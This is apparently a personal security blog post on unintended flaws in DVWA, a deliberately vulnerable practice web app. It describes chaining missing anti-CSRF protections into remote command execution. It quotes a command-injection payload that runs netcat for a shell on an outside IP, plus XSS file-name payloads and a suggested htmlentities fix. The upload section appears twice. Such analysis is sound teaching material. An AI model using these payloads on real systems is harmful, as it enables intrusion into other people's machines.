DVWA: Unintended Security Issues

“Damn Vulnerable Web App (DVWA) is a PHP/MySQL web
application that is damn vulnerable. Its main goals are to be an aid for
security professionals to test their skills and tools in a legal environment,
help web developers better understand the processes of securing web
applications and aid teachers/students to teach/learn web application security
in a class room environment…”

Well, basically it helps you learn about web security. It
has 3 levels of security. Low, Medium and High. The “High” level is the secure
considered level (it is supposed to be the secure version of ‘em all and not to
be passed to teach the secure implementation of web applications for developers).

DVWA 1.0.x (The version I just installed) includes Brute
Force, Command Execution, CSRF, File Inclusion, SQL Injection, Blind SQLi,
Upload, XSS Stored and Reflected vulnerabilities to be played with.

Aside from those I believe there are some unintended
security problems with the application itself even in the “High”est level.

Command Execution

This is an attacker
perspective.

There is a .htacess file for DVWA not to be accessed other
than locally. And also there is a command execution challenge. It is possible
to execute commands in the challenge using inputs like 127.0.0.1;ls –la.

Imagine an attacker who knows you have DVWA want to execute
commands remotely in your PC. But that won’t be possible since there is a
.htaccess file permiting them from accessing your.ip.address/dvwa. But imagine
if the attacker craft a CSRF for you to execute commands in the challenge.

The fact that there is no anti-CSRF token in the command
execution challenge puts you’re server in danger while browsing sites contain
scripts like this if you are using low and medium level

“127.0.0.1;netcat –l 155.10.15.1 –p 4444” will allow the
attacker to get a shell connection back to you using your PHP server.

But, if you use the high level, the above payload won’t work
since it’s secure. Hmm. so the attacker needs to craft another CSRF for you to
change your challenge level to low or medium, since there is still no anti-CSRF
token in /security.php , why?? Lol. Anyway, Good for us. We will craft scripts
like

That will make your challenge level to “low” and open a port
back to the attackers PC.

But DVWA gives you session cookies for one IP. So localhost
and your IP (x.x.x.x) won’t have same cookies. Meaning, even if the victim is
logged in, our CSRF won’t work because we use they use their IP (which is
unlikely they are logged in other than using localhost).

So imagine the victim is not logged in, have different
password than default. And there is also that IP problem. It’s hard to create
command execution now. Harder but not impossible, because there is no token in
/setup.php too. Why? Lol.

Now we make the user reset their database (which also resets
password) in case they change it back other than the default value “password”.
Then now we know the admin new password and username is reset back to admin and
password for password.

Now we make the victim login using our default new password
and username since there is no login token too. Nice.

Now we have a 99% success rate to get shell when victim
visit our CSRF link once we automate the

process.

For testing I just add each csrf to csrf1.php csrf2.php…
respectively and I added an auto submitter for all of them. Then I created one
file called all.php then I framed all of them with 0 width and0 height for the pixel to be hidden while
submittion… so all.php submits all the 4 csrfs and get us a shell when victim
visit our link (all.php). which is awesome because anyone who have dvwa is
shitty doomed! Lol

DVWA’s High level file upload is very interesting. I believe
it’s very secure aside from the fact that it doesn’t read image binaries to
realize it’s a real image other than the image extension and content-type
headers. (Note this can be a very easy way to escalate if: LFI { command
execution})

But that’s not the only issue in the upload section, the
uploaded file names aren’t sanitized, they just will be printed out in a
<pre> tag. This is bad because this can be escalated to cause reflective
XSS.

That is the secure “considered” code for file upload but to
at least eliminate XSS, I believe the code should become

“$uploaded_name = htmlentities($_FILES[‘uploaded’][‘name’];”
is all I add to eliminate cross site scripting, before that an attacker can
upload a file named” </pre><script>alert(0);</script>.jpeg”
(Note: use *nix based systems since windows pretty much won’t let you save a
file with a name <,> or pretty much any cool symbols unless you intercept
the requests)

Another XSS could be done even when after htmlentities
actually (but requires user interaction), a user can upload a file called
“javascript:alert(0);//.jpeg” and when a user visits http://localhost/dvwa/hackable/uploads/
a link with the image location will be generated like

<a href="Javascript:alert(0);//.jpeg">Javascript</a></td><td
align="right"> so if the user click on the image,
there will still
be XSS. It is often recommended to give uploaded files computer generated
names.

The fact that
Ajax can’t make external HTTP request prior to the Same-Origin Policy for
XMLHTTPRequest make the exploit self only. But using HTML and Javascript you
can create a working exploit to own anyones ass. ;P we did that to stop skids
using this to hack your elite ass just for having DVWA.

(Note: if magic_quote_gpc is enabled than the null byte() will get converted to /0, implying that the attack will fail)

but we can still exploit this with Path Truncation.

XSS in the upload section.

DVWA’s High level file upload is very interesting. I believe
it’s very secure aside from the fact that it doesn’t read image binaries to
realize it’s a real image other than the image extension and content-type
headers. (Note this can be a very easy way to escalate if: LFI { command
execution})

But that’s not the only issue in the upload section, the
uploaded file names aren’t sanitized, they just will be printed out in a
<pre> tag. This is bad because this can be escalated to cause reflective
XSS.

That is the secure “considered” code for file upload but to
at least eliminate XSS, I believe the code should become

“$uploaded_name = htmlentities($_FILES[‘uploaded’][‘name’];”
is all I add to eliminate cross site scripting, before that an attacker can
upload a file named” </pre><script>alert(0);</script>.jpeg”
(Note: use *nix based systems since windows pretty much won’t let you save a
file with a name <,> or pretty much any cool symbols unless you intercept
the requests)

Another XSS could be done even when after htmlentities
actually (but requires user interaction), a user can upload a file called
“javascript:alert(0);//.jpeg” and when a user visits http://localhost/dvwa/hackable/uploads/
a link with the image location will be generated like

<a href="Javascript:alert(0);//.jpeg">Javascript</a></td><td
align="right"> so if the user click on the image, there will still
be XSS. It is often recommended to give uploaded files computer generated
names.

And if somehow two of the if and elseif checks fail the dvwaPageReload
Redirection happen with dvwaMessagePush() thus our payload “><script>alert(0);</script>
being executed. J

Bonus

In the beginning I wrote “DB-UUA” as you were expecting DVWA
so you probably are wondering if it’s a typo lol. Well if you made it this far,
you deserve a little break why, B sounds better than V. and the UU is W. it
have history you know, W is called Double U because long ago people use to
write two U’s and say look homie… a W. So UU is W. uutf right?

About Paulos

I am currently specializing in application security and client side offensive exploit research. I really enjoy breaking things. I occasionally do bug bounties, with notable references such as Coinbase, Facebook,Twitter& more.